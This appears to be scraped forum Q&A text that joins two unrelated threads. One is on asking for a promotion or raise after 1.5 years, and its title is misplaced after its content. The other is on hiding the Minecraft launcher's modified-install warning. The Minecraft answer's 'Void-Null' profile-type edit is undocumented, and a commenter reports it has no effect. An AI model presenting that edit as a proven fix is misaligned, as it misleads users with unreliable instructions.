Comment: Awesome file is a really great idea! I'm gonna start doing this.
Comment: Just want to add: If your abilities are worth more than the value you bring to the company, you are currently overqualified and should look for another job!
Comment: Just make sure the awesomeness is work-related. "My application of hair gel today was off the charts" is probably not helpful to your cause.  :D
Answer: It's a little soon.. but I wouldn't say it was too soon. Less than a year would be pushing it a little, less than six months would likely be viewed as  presumptuous and less than three months would probably see you laughed out of your manager's office, 18 months is probably long enough for you to have proven your worth and to have repaid the investment in time, effort and possibly money that the company expended in recruiting you for your original position.
The best approach is to line up some arguments as to not only why you are capable/qualified to perform the role you are aiming for but most importantly why the company would benefit more from having you in the new position rather than your current one. If your current role has any transferable skills or knowledge that would help in the new one and you have any examples of achievements or feedback to support you having that skills/knowledge then use these to support your position.
It's also a good idea to show awareness of what would be involved in recruiting someone external for both positions - if [old role] is really easy to recruit for but people who can do [new role] are hard to find then this works in your favor, if the reverse is the case then having some suggestions for how you could help with any transition is a good way to show that you're taking the company's needs into account.
Comment: I asked for a raise of 20% after 6 month with a new employer. Got it without much discussion. If you are worth more than you are getting, and everyone knows it, it is never to early.
Comment: @Daniel the timescales I gave in my answer are more of a guideline for anything else. Proving you're worth it (for either a promotion or a raise) is indeed key and the shorter the timespan the less likely it is that you will have been able to effectively demonstrate that. Turn up on your first day and cure cancer/invent cold fusion before lunch? Yeah you can probably ask for a raise that afternoon.
Comment: @Daniel if you're worth significantly more than you're getting, 90% of the time you're better off looking for a new job where you'll actually get what you're worth than it is to try and negotiate raises and promotions that will get you there.
Comment: @Cronax: That is not my experience. It may be easier for some, to negotiate in a setting where you "have nothing to loose". On the other hand if you apply elsewhere they really can´t know what you are worth so you are almost guaranteed to get either under- or overestimated. beeing overpaid may sound good but really isn´t if you can´t deliver ...
Comment: @Daniel If you feel you're worth X, you can simply ask for X at your new job. Convincing your current employer to pay you X instead of something far less than X is a lot harder. If the other company underestimates your worth, find a different company. If the other company overestimates your worth, they will feel like X is a bargain and will easily agree to it. Asking for X at your current company usually makes them feel like you're trying to pressure you into giving you X 'or else you'll leave'. Far from a setting where you have nothing to loose.
Comment: I don't agree that 1.5 yrs is too soon- it depends on the role and the candidate. If the candidate has outgrown a role, it doesn't make sense for them to be in an environment that's not stimulating or stagnant. If you're doing work that doesn't interest you, you're going to get burned out, and that's not good for you or the company.
Comment: @cocanut Not sure if your comment was intended for me or whether I've got the wrong end of the stick here but I'm not saying that 1.5 years is too soon.
Answer: There are two parts in this:

Promotion:

If you take out the money, this is asking for more responsibility. From a employers perspective the this should be a good thing. Provided you have an accurate picture of yourself and can handle what you asked for, you can always do this.
There are some circumstances that may prevent your superiors to give you that responsibility right now despite thinking you could handle it. If that is the case, be patient and make the discussion about where you want to get to, once there is room for promotion.
Letting your bosses know you are ready and willing for more responsibility is one step towards actually getting it.

Raise:

Ideally, you should get what your services are worth. Now this value is hard to estimate, but the bottom line is: what somebody else would pay for you, if you changed job´s.
As a rule of thumb, you can and should renegotiate this about once a year, or whenever your work changes significantly.
How much you are really paid depends largely on your ability to negotiate and if you are in the right position (not over-qualified). So before going into any such discussion,  do your homework and really know your worth and your options, should you not reach a common understanding of it. After all, a negotiation you can´t walk away from is not a negotiation.

Asking for a promotion after 1.5 years


How do I stop the Minecraft launcher from warning me about using modified Minecraft installs

Question: The Minecraft launcher recently updated to add support for Microsoft accounts, it also changed the background and added a warning when I hover over modified profiles in the selection tab (This installation has been modified and might not support the latest player safety features.). I always use the Fabric modloader and I don't care about not having access to the "latest player safety features" and I've kinda had enough of Minecraft nagging me every time I switch versions when I want to play on different servers. I am not going to accept "Stop using mods" as an answer, as I do not intend to do so. I have searched across google for answers but haven't been able to find information regarding this anywhere.
Answer: Go to the .minecraft folder in %appdata% and open the launcher_profiles.json file.
Scroll to the desired profile name (e.g. Optifine).
Then change the "type" to "Void-Null". Then restart the Minecraft launcher with beta mode enabled in the settings.
Example of mine when done:
"OptiFine" : {
      "created" : "2020-08-27T07:48:53.976Z",
      "icon" : "Grass",
      "javaArgs" : "-Xmx10G -XX:+UnlockExperimentalVMOptions -XX:+UseG1GC -XX:G1NewSizePercent=20 -XX:G1ReservePercent=20 -XX:MaxGCPauseMillis=50 -XX:G1HeapRegionSize=32M",
      "lastUsed" : "2020-12-02T18:16:50.180Z",
      "lastVersionId" : "1.16.4",
      "name" : "OptiFine",
      "type" : "Void-Null"
}

Comment: Is this an official workaround? I can't find documentation of that exact profile type anywhere and it seems to have no effect for me.
Comment: It actually is better if it *is* formatted because it is much easier to read. Your answer can help many more people when it is formatted. I have suggested an edit to improve the formatting, but next time it is encouraged to edit it if you'd like.